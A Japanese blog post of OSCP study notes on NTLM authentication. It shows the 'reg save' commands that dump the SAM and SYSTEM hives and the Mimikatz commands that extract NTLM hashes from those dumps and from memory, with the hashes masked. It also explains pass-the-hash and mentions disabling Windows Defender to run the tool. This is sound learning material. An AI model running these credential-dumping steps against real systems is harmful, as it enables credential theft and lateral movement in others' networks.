見出し画像

#70 NTLM

 年度末ですね。エンジニアとして働きだして、あっという間の2年でした。日々、新しいことにチャレンジし、手を汚して学んできた積み重ねで、今があると思っています。新年度も、泥にまみれて戦います。

 さて、OSCPの勉強を進めていて、Windowsの知識が決定的に欠けていると気づきました。Active Directoryのような高度な内容に入る前に、しっかり基礎を固めておきます。Windowsの認証機構であるNTLMについて、まとめました。


NTLMとは

 NTLMは、NT Lan Managerの略で、チャレンジ&レスポンス形式の認証プロトコルです。暗号化に古いアルゴリズムを使っているため、利用は非推奨とされていますが、レガシーシステムとの互換性のため、使われることもあります。
 認証に使うパスワードをハッシュ化して保存しておき、Windowsにログインする際や、リモートサービス(SMBサーバーなど)と通信をする際に使われます。

SAM

 NTLMハッシュは、Security Account Manager(SAM)に暗号化され他状態で保存されています。ファイルとして"C:\Windows\System32\Config\SAM"に存在しますが、内容は簡単には取り出せません。SYSTEM権限で読みだそうとしても、他のプロセスに専有されているため、エラーとなります。

> type C:\Windows\system32\config\SAM
type : The process cannot access the file 'C:\Windows\system32\config\SAM' because it is being used by another process.
At line:1 char:1
+ type C:\Windows\system32\config\SAM
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ReadError: (C:\Windows\system32\config\SAM:String) [Get-Content], IOException
    + FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand

管理者権限があれば、レジストリからダンプできます。

> reg save hklm\sam c:\sam
The operation completed successfully.

SAMは、暗号化されているため、そのままでは内容が確認できません。同じく"C:\Windows\System32\Config"配下にある、SYSTEMファイルにあるSysKeyが暗号化キーとなっています。同様にレジストリからダンプできます。

> reg save hklm\system c:\system


Mimikatz

 Mimikatzは、Windows向けのツールで、SAMとSYSTEMファイルからNTLMハッシュを復号したり、メモリに読み込まれているNTLMハッシュを読み出したりできます。管理者権限が必要です。

まずは、Mimikatzコンソールを起動し、必要な権限があるか確認します。

> .\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK

SYSTEMダンプとSAMダンプがある場合は、以下のようにして複合できます。Hash NTLMの部分がNTLMハッシュです。

mimikatz # lsadump::sam /system:C:\system /sam:C:\sam
Domain : DESKTOP-AAAAAAA
SysKey : xxxxxxxxxxxxxxxxxxxxxxxxxx
Local SID : S-1-5-21-413498671-1503835181-406322130

SAMKey : xxxxxxxxxxxxxxxxxxxxxxxxxx

RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount
RID  : 000003e8 (1000)
User : kusa
  Hash NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxx

メモリから読み出す場合は、以下のようにします。NTLMの箇所がNTLMハッシュです。

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 166347 (00000000:000289cb)
Session           : Interactive from 1
User Name         : kusa
Domain            : DESKTOP-AAAAAAA
Logon Server      : DESKTOP-AAAAAAA
Logon Time        : 3/26/2023 10:45:01 PM
SID               : S-1-5-21-413498671-1503835181-406322130-1000
        msv :
         [00000003] Primary
         * Username : kusa
         * Domain   : DESKTOP-AAAAAAA
         * NTLM     : xxxxxxxxxxxxxxxxxxxxxxxxxxx
         * SHA1     : xxxxxxxxxxxxxxxxxxxxxxxxxxx
        tspkg :
        wdigest :
         * Username : kusa
         * Domain   : DESKTOP-AAAAAAA
         * Password : (null)
        kerberos :
         * Username : kusa
         * Domain   : DESKTOP-AAAAAAA
         * Password : (null)
        ssp :
        credman :
        cloudap :


NTLMの脆弱性

 NTLMハッシュを取り出せてなにがうれしいか。NTLMプロトコルでは、ハッシュ値さえあれば、パスワードがわからなくても認証が成功します。これはPass-The-Hash攻撃と呼ばれています。その名のとおり、パスワードではなくNTLMハッシュを直接サービスに渡すことで認証をバイパスします。 付け加えると、NTLMハッシュは、パスワードが同じなら同じ値になるので、同一パスワードの別人のアカウントでも認証が成功します。

…なんか危なそうじゃないですか?

もちろん、パスワードクラッカーで平文のパスワードを特定してもOKです。好きにしてください。


まとめ

 NTLMを悪用すると、パスワードを知らなくてもネットワーク内を動けてしまいます。ちなみに、Mimikatzは、Windows Defenderで弾かれたので、ウイルスフィルターを一時的に止める必要がありました。他にも同様に攻撃できるツールはいくらでもあります。お気をつけて。

EOF

この記事が気に入ったらサポートをしてみませんか?